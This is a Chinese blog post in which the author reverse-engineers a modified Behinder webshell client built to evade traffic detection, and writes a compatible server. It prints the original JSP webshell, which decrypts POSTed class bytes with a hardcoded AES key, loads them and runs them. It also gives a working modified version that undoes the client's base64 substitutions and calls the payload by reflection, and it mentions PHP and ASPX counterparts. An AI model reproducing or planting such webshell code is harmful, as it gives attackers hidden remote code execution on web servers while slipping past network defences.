记一次修改版冰蝎简单逆向

0x00 前言

起因是一个小伙伴在小交流♂群里发了一个修改版冰蝎,可以逃避流量检测,欧,棒呀,再瞅一眼,发现没有服务端😳…又试了原版的服务端,报连接失败…😡岂可休!

于是以摸出服务端为目的的简单逆向开始了…

一开始用jd-gui看了一会儿也没瞅出个啥名堂来,搁置了

A few days later…

偶然在先知社区上看到个文章从ClassLoader到冰蝎Java篇,结合冰蝎作者的文章,然后对冰蝎的通信过程窥见了一斑,于是重新摸了摸代码,用了一天多时间(太菜了),把修改版的Jsp服务端写出来了。后续又整了PHP和ASPX端的,比较简单~

0x01 初窥

先看看原版的,读过上面两篇文章,再去看JSP服务端就比较好理解了,展开了一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader { //用户定义Classloader
U(ClassLoader c) { //构造方法传入的ClassLoader表示后续会用这个ClassLoader来加载类
super(c);
}

public Class g(byte[] b) { //从传入的字节加载类
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; //md5_16("rebeyond");
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bts=c.doFinal(new sun.misc.BASE64Decoder()
.decodeBuffer(request.getReader().readLine())); //读入http body并base64解码后Aes解密得到Class字节数组
U u=new U(this.getClass().getClassLoader()); //构造方法传入jsp页面的classloader来加载类,即JasperLoader,防止加载的类访问不到jsp内部属性
Class clazz=u.g(bts); //从字节数组加载类
clazz.newInstance().equals(pageContext); //实例化类并调用其中的equals方法,参数为pageContext(用来操作页面返回结果)
}
%>

所以服务端只做了很简单的一件事,一句话描述就是:把客户端传入的类数据解密加载然后实例化调用其中的equals方法。

至于返回结果结构什么的都不用管,加载进来的类里面会自行处理的。

看一眼流量

原版流量

修改jsp直接打印解密后的字节,看第一个流量包

1
out.println(new String(bts));

打印第一个类字节

可以定位到一个Echo类,在Jd-gui里探索一下,发现这种payload类都是由Utils.getData方法组装塞进一些属性变成字节数组的,当前这个Echo类在ShellService类中echo方法使用,塞进其中的content参数并转换成字节数组

发送请求则是Utils.requestAndParse方法

bx_method_echo

而echo方法由doConnect调用,来测试连接shell能不能正常通信的

doConnect

Echo应该是冰蝎中最简单的payload类了,看看Encrypt方法和重写的equals方法

echo_equals

1
2
3
4
5
6
7
8
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getAttribute("u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
return cipher.doFinal(bs);
}

equals方法就是每个payload干坏事的入口方法,这里就是把客户端传过来的content加密原样返回。conten的内容应该是客户端生成塞到类里的。

搞懂了原版的通信逻辑后去看看修改版的

0x02 再探

讲道理流程应该差不多,那先抓个包

nbx1

可以看到请求流量长的不太一样,分行,而且和传统base64长的不太一样,所以解码失败了

得去找找客户端请求部分发生了什么

找到刚才ShellService.echo方法(可以看到修改版回包加密key其实也是客户端传入的,原版是取session里的)

nbx2

跟入SystemUtils.requestAndParse

nbx3

继续跟入sendPostRequestBinary

nbx4

已经看到修改的东西了

就是把base64后的字符串做了一下替换,=替换成*/替换成_+替换成#,然后每188字符换行

既然如此,服务端反着来就行了,拿出我捉急的撸码水平给他改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
String str="";
while(true){
String x=request.getReader().readLine();
if(x!=null){
str+=x;
}else {
break;
}
}
str=str.replace("#","+");
str=str.replace("_","/");
str=str.replace("*","=");

String k = "e45e329feb5d925b"; //md5_16("rebeyond");
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bts=c.doFinal(new sun.misc.BASE64Decoder()
.decodeBuffer(str)); //读入http body并base64解码后Aes解密得到Class字节数组
//out.println(new String(bts));
U u=new U(this.getClass().getClassLoader()); //构造方法传入jsp页面的classloader来加载类,即JasperLoader,防止加载的类访问不到jsp内部属性
Class clazz=u.g(bts); //从字节数组加载类
clazz.newInstance().equals(pageContext);

试一下

nbx5

emmmm,还是连接失败,为啥子捏,但回了个200,说明解密应该还是成功的,打印一下解密后字节看看

nbx6

说明解密流程没问题

再去客户端代码找找问题,一顿乱翻之后,偶吼,发现payload类都改了,看看Echo类

nbx7

修改版没有重写equals方法,是自己定义了个w方法,传入两个obj,HttpServletRequest和HttpServletResponse

那我这样子行不行呢?

1
2
Object obj=clazz.newInstance();
obj.w(request,response);

nbx8

答案是不行滴,因为Object没有w方法,向上转型调用不到子类新定义的方法

所以想到了反射的形式去调用

1
2
3
4
Object obj=clazz.newInstance();
//obj.w(request,response);
java.lang.reflect.Method defineClzMethod=clazz.getDeclaredMethod("w",Object.class,Object.class);
defineClzMethod.invoke(obj,request,response);

nbx9

成了,nice!

看一眼流量

nbx10

不错,回包改成了json格式,值加密的形式,与正常加密APP的流量很相似。

最后又看了下Asp.net和php的,都没有新函数,只要把字符串替换改好就能通了。

0xFF 小结

自己逆向一开始比较混乱,需要把找到的东西一点一点串起来才形成正确的程序逻辑,写文章时调整了一些顺序便于理解。

还好之前刚好看过Java反射的知识,不然最后估计还得挣扎好一会儿,客户端还有许多东西值得去研究,之后有空了再看吧。

本文暂时禁止转载